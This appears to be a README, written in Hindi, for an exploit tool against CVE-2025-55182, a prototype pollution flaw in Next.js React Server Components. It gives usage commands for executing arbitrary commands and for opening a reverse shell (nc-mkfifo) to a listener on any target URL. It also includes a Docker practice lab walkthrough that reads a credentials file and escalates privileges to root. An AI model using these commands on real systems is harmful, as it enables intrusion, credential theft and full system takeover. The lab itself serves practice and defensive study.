
CVE-2025-55182 के लिए एक्सप्लॉइट जो प्रोटोटाइप प्रदूषण के माध्यम से Next.js React Server Components को लक्षित करता है, कमांड निष्पादन और रिवर्स शेल पेलोड के साथ रिमोट कोड निष्पादन सक्षम करता है। अभ्यास के लिए Docker लैब वातावरण शामिल है।
CVE-2025-55182 का शोषण करता है जो प्रोटोटाइप प्रदूषण के माध्यम से रिमोट कोड निष्पादन की अनुमति देता है।
लेखक: Severian N.K.
यह उपकरण React सर्वर घटकों का उपयोग करने वाले Next.js अनुप्रयोगों में प्रोटोटाइप प्रदूषण भेद्यता का शोषण करता है, जो रिमोट कोड निष्पादन (RCE) की ओर ले जाता है। यह प्रत्यक्ष कमांड निष्पादन और रिवर्स शेल दोनों का समर्थन करता है।
यह परियोजना निर्भरताओं को प्रबंधित करने के लिए Python वर्चुअल वातावरण का उपयोग करती है। पहले सुनिश्चित करें कि आपके पास Python 3 स्थापित है।
वर्चुअल वातावरण सेट करें:
python3 -m venv venv
वातावरण सक्रिय करें और निर्भरताएँ स्थापित करें:
source venv/bin/activate
pip install -r requirements.txt
शोषण चलाने से पहले सुनिश्चित करें कि वर्चुअल वातावरण सक्रिय है (source venv/bin/activate)।
लक्ष्य पर एकल कमांड निष्पादित करने के लिए:
python3 exploit.py -u <TARGET_URL> -c "<COMMAND>"
उदाहरण:
python3 exploit.py -u http://example.com -c "id"
लक्ष्य से रिवर्स शेल प्राप्त करने के लिए:
python3 exploit.py -u <TARGET_URL> -r -l <LISTENER_IP> -p <LISTENER_PORT>
उदाहरण:
python3 exploit.py -u http://example.com -r -l 10.10.10.2 -p 9001 -P nc-mkfifo
lab/ निर्देशिका में दो स्वतंत्र Docker वातावरण हैं:
lab/vulnerable): पोर्ट 3000 पर चलता है।lab/patched): पोर्ट 3001 पर चलता है।cd lab/vulnerable
chmod +x build.sh run.sh
./build.sh
./run.sh
पहुँचें: http://localhost:3000
cd lab/patched
chmod +x build.sh run.sh
./build.sh
./run.sh
पहुँचें: http://localhost:3001
आपको अपना श्रोता IP (--lhost) और पोर्ट (--lport) निर्दिष्ट करना होगा। आप अपना Docker ब्रिज IP ip addr show docker0 (सामान्यतः 172.17.0.1) से प्राप्त कर सकते हैं।
python exploit.py -u http://localhost:3000 -r -l 172.17.0.1 -p 6000 -P nc-mkfifo
नोट: हम
-P nc-mkfifoका उपयोग कर रहे हैं क्योंकि लक्ष्य Alpine Linux चला रहा है, जिसके लिए एक विशिष्ट पेलोड प्रकार की आवश्यकता है।
असुरक्षित कंटेनर एक गुप्त फ़ाइल उजागर करता है।
python3 exploit.py -u http://localhost:3000 -c "cat /secret/credentials.txt"
# Output: manager:SuperSecret2025!
आप समझौता किए गए क्रेडेंशियल्स का उपयोग करके nextjs से root तक विशेषाधिकार बढ़ा सकते हैं।
su - manager (पासवर्ड: SuperSecret2025!)sudo su (पासवर्ड: SuperSecret2025!)cat /root/flag.txt
# Output: Congratulations! You have gained full control over the system!
योगदान का स्वागत है! यदि आपको कोई बग मिलता है या सुधार का विचार है, तो कृपया एक मुद्दा खोलें या पुल अनुरोध सबमिट करें।